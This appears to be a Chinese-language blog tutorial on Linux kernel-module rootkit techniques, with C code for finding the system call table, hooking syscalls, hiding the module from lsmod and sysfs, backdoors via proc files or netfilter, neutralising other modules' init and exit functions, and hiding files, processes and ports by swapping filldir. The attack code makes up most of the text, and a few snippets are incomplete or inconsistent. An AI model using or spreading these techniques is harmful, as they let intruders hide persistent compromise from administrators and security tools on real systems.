linux lkm rootkit常用技巧
目錄
根據IDT地址,找到中斷處理函式,再從中根據特徵碼找到系統呼叫表
使用netfilter過濾進入系統的網路包,通過網路包中特殊欄位來做到控制系統
1、劫持系統呼叫
遍歷地址空間
根據系統呼叫中的一些匯出函式,比如sys_close的地址來尋找
unsigned long ** get_sys_call_table(void) { unsigned long **entry = (unsigned long **)PAGE_OFFSET; for (;(unsigned long)entry < ULONG_MAX; entry += 1) { if (entry[__NR_close] == (unsigned long *)sys_close) { return entry; } } return NULL; }
這要求判斷的地址是匯出函式,這樣才能獲取到地址
根據IDT地址,找到中斷處理函式,再從中根據特徵碼找到系統呼叫表
在i386的機器中,使用如下程式碼呼叫系統呼叫表
call *sys_call_table(,%eax,4)
這條指令的二進位制程式碼是
0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
然後根據0xff 0x14 0x85這3個特徵碼去尋找表的地址
IDTR idtr; interrupt_descriptor *IDT, *sytem_gate; asm("sidt %0" : "=m" (idtr)); IDT = (interrupt_descriptor *) idtr.base_addr; system_gate = &IDT[0x80]; sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1); for (i = 0; i < 100; i++) { if (sys_call_asm[i] == (unsigned char) 0xff && sys_call_asm[i+1] == (unsigned char) 0x14 && sys_call_asm[i+2] == (unsigned char) 0x85) *guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3]; }
根據system.map來尋找
System.map位於/boot目錄下,核心編譯時生的符號表內容
直接在這個檔案中尋找sys_call_table的地址
核心中kallsym尋找符號地址
核心中有查詢符號表地址的函式,直接使用就可以了
//查詢符號表的函式
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr);
} return 0;
}
/*
利用kallsyms_on_each_symbol可以查詢符號表,只需要傳入查詢函式就可以了
data[0]表示要查詢的地址
data[1]表示結果
*/
static void *khook_lookup_name(const char *name)
{
long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1];
}
內聯鉤子
替換掉核心程式碼的前一部分,實現劫持核心其他的函式邏輯
具體可以看這裡:https://www.cnblogs.com/likaiming/p/10970543.html
系統派遣例程篡改
在整個系統呼叫的流程中,修改跳轉到sys_call_table的地址的位置,然後跳轉到自定義偽造系統呼叫表,這樣也可以實現系統呼叫的劫持
模擬系統呼叫
寫一段程式碼,用到sys_call_table,然後使用objdump檢視地址
#include <stdio.h>
void fun1()
{
printf("fun1/n");
}
void fun2()
{
printf("fun2/n");
}
unsigned int sys_call_table[2] = {fun1, fun2};
int main(int argc, char **argv)
{
asm("call *sys_call_table(%eax,4");
}
通過/dev/kmem訪問記憶體來實現系統呼叫表的搜尋
這種方式統一和之前的記憶體地址搜尋一樣,需要特徵碼,比如說0xff 0x14 0x85
kprobes
它的工作方式如下:
1. 使用者指定一個探測點,並把一個使用者定義的處理函式關聯到該探測點
2. 在註冊探測點的時候,對被探測函式的指令碼進行替換,替換為int 3的指令碼
3. 在執行int 3的異常執行中,通過通知鏈的方式呼叫kprobe的異常處理函式
4. 在kprobe的異常出來函式中,判斷是否存在pre_handler鉤子,存在則執行
5. 執行完後,準備進入單步除錯,通過設定EFLAGS中的TF標誌位,並且把異常返回的地址修改為儲存的原指令碼
6. 程式碼返回,執行原有指令,執行結束後觸發單步異常
7. 在單步異常的處理中,清除單步標誌,執行post_handler流程,並最終返回
LSM hook技術
修改LSM的鉤子函式,也就是全域性表security_ops的函式指標
2、隱藏模組
刪除全域性模組連結串列
lsmod命令是通過/proc/modules來獲取當前系統模組資訊的,而/proc/modules中的當前系統模組資訊是核心利用struct modules結構體的表頭遍歷核心模組連結串列、從所有模組的struct module結構體中獲取模組的相關資訊來得到的。結構體struct module在核心中代表一個核心模組。通過insmod(實際執行init_module系統呼叫)把自己編寫的核心模組插入核心時,模組便與一個 struct module結構體相關聯,併成為核心的一部分,所有的核心模組都被維護在一個全域性連結串列中,連結串列頭是一個全域性變數struct module *modules。任何一個新建立的模組,都會被加入到這個連結串列的頭部,通過modules->next即可引用到。為了讓我們的模組在lsmod命令中的輸出裡消失掉,我們需要在這個連結串列內刪除我們的模組
從sysfs中隱藏模組
除了lsmod命令和相對應的檢視/proc/modules以外,我們還可以在sysfs中,也就是通過檢視/sys/module/目錄來發現現有的模組
這個問題也很好解決,在初始化函式中新增一行程式碼即可解決問題
kobject_del(&THIS_MODULE->mkobj.kobj);
從檔案隱藏的角度來隱藏模組
前面說到,使用者態讀取模組資訊是proc/modules和sys/modules,可以採用隱藏檔案的方式來隱藏這兩個檔案的資訊
3、後門
使用proc檔案提高程序許可權
新建一個proc檔案(當然最後要隱藏),然後自定義file_operation中的寫操作,用來提取許可權
使用netfilter過濾進入系統的網路包,通過網路包中特殊欄位來做到控制系統
4、防止其他模組載入
註冊或者登出模組通知處理函式可以使用register_module_notifier
或者unregister_module_notifier
編寫一個通知處理函式,然後填充struct notifier_block
結構體, 最後使用register_module_notifier
註冊就可以了
int module_notifier(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block nb = {
.notifier_call = module_notifier,
.priority = INT_MAX
};
處理函式裡面再更改許可權
int
fake_init(void);
void
fake_exit(void);
int
module_notifier(struct notifier_block *nb,
unsigned long action, void *data)
{
struct module *module;
unsigned long flags;
// 定義鎖。
DEFINE_SPINLOCK(module_notifier_spinlock);
module = data;
fm_alert("Processing the module: %s\n", module->name);
//儲存中斷狀態加鎖。
spin_lock_irqsave(&module_notifier_spinlock, flags);
switch (module->state) {
case MODULE_STATE_COMING:
fm_alert("Replacing init and exit functions: %s.\n",
module->name);
// 偷天換日:篡改模組的初始函式與退出函式。
module->init = fake_init;
module->exit = fake_exit;
break;
default:
break;
}
// 恢復中斷狀態解鎖。
spin_unlock_irqrestore(&module_notifier_spinlock, flags);
return NOTIFY_DONE;
}
int
fake_init(void)
{
fm_alert("%s\n", "Fake init.");
return 0;
}
void
fake_exit(void)
{
fm_alert("%s\n", "Fake exit.");
return;
}
5、隱藏檔案
到檔案隱藏,我們不妨先看看檔案遍歷的實現,在linux核心中,fs\readdir.c中,有3個用來遍歷檔案的系統呼叫,old_readdir,getdents和getdents64,看其中兩個,也就是系統呼叫getdents
/getdents64
,簡略地瀏覽它在核心態服務函式(sys_getdents)的原始碼 (位於fs/readdir.c
),我們可以看到如下呼叫層次,sys_getdents
->iterate_dir
->struct file_operations
裡的iterate
->這兒省略若干層次 ->struct dir_context
裡的actor
,也就是filldir
filldir
負責把一項記錄(比如說目錄下的一個檔案或者一個子目錄)填到返回的緩衝區裡。如果我們鉤掉filldir
,並在我們的鉤子函式裡對某些特定的記錄予以直接丟棄,不填到緩衝區裡,上層函式與應用程式就收不到那個記錄,也就不知道那個檔案或者資料夾的存在了,也就實現了檔案隱藏。
具體說來,我們的隱藏邏輯如下: 篡改根目錄(也就是“/”)的iterate
為我們的假iterate
, 在假函式裡把struct dir_context
裡的actor
替換成我們的 假filldir
,假filldir
會把需要隱藏的檔案過濾掉。
int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
// 備份真的 ``filldir``,以備後面之需。
real_filldir = ctx->actor;
// 把 ``struct dir_context`` 裡的 ``actor``,
// 也就是真的 ``filldir``
// 替換成我們的假 ``filldir``
*(filldir_t *)&ctx->actor = fake_filldir;
return real_iterate(filp, ctx);
}
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
// 如果是需要隱藏的檔案,直接返回,不填到緩衝區裡。
fm_alert("Hiding: %s", name);
return 0;
}
/* pr_cont("%s ", name); */
// 如果不是需要隱藏的檔案,
// 交給的真的 ``filldir`` 把這個記錄填到緩衝區裡。
return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
通用巨集
# define set_f_op(op, path, new, old) \
do { \
struct file *filp; \
struct file_operations *f_op; \
\
fm_alert("Opening the path: %s.\n", path); \
filp = filp_open(path, O_RDONLY, 0); \
if (IS_ERR(filp)) { \
fm_alert("Failed to open %s with error %ld.\n", \
path, PTR_ERR(filp)); \
old = NULL; \
} else { \
fm_alert("Succeeded in opening: %s\n", path); \
f_op = (struct file_operations *)filp->f_op; \
old = f_op->op; \
\
fm_alert("Changing iterate from %p to %p.\n", \
old, new); \
disable_write_protection(); \
f_op->op = new; \
enable_write_protection(); \
} \
} while(0)
比如這麼呼叫下面的程式碼
void *dummy;
set_file_op(iterate, "/", real_iterate, dummy);
6、隱藏程序
Linux 上純使用者態列舉並獲取程序資訊,/proc是唯一的去處。所以,對使用者態隱藏程序,我們可以隱藏掉/proc下面的目錄,這樣使用者態能枚舉出來程序就在我們的控制下了。讀者現在應該些許體會到為什麼檔案隱藏是重點內容了。
int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
char *endp;
long pid;
// 把字串變成長整數。
pid = simple_strtol(name, &endp, 10);
if (pid == SECRET_PROC) {
// 是我們需要隱藏的程序,直接返回。
fm_alert("Hiding pid: %ld", pid);
return 0;
}
/* pr_cont("%s ", name); */
// 不是需要隱藏的程序,交給真的 ``filldir`` 填到緩衝區裡。
return real_filldir(ctx, name, namlen, offset, ino, d_type);
7、隱藏埠
向用戶態隱藏埠, 其實就是在使用者程序讀/proc下面的相關檔案獲取埠資訊時, 把需要隱藏的的埠的內容過濾掉,使得使用者程序讀到的內容裡面沒有我們想隱藏的埠。
具體說來,看下面的表格。
網路型別 /proc 檔案 核心原始碼檔案 主要實現函式
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show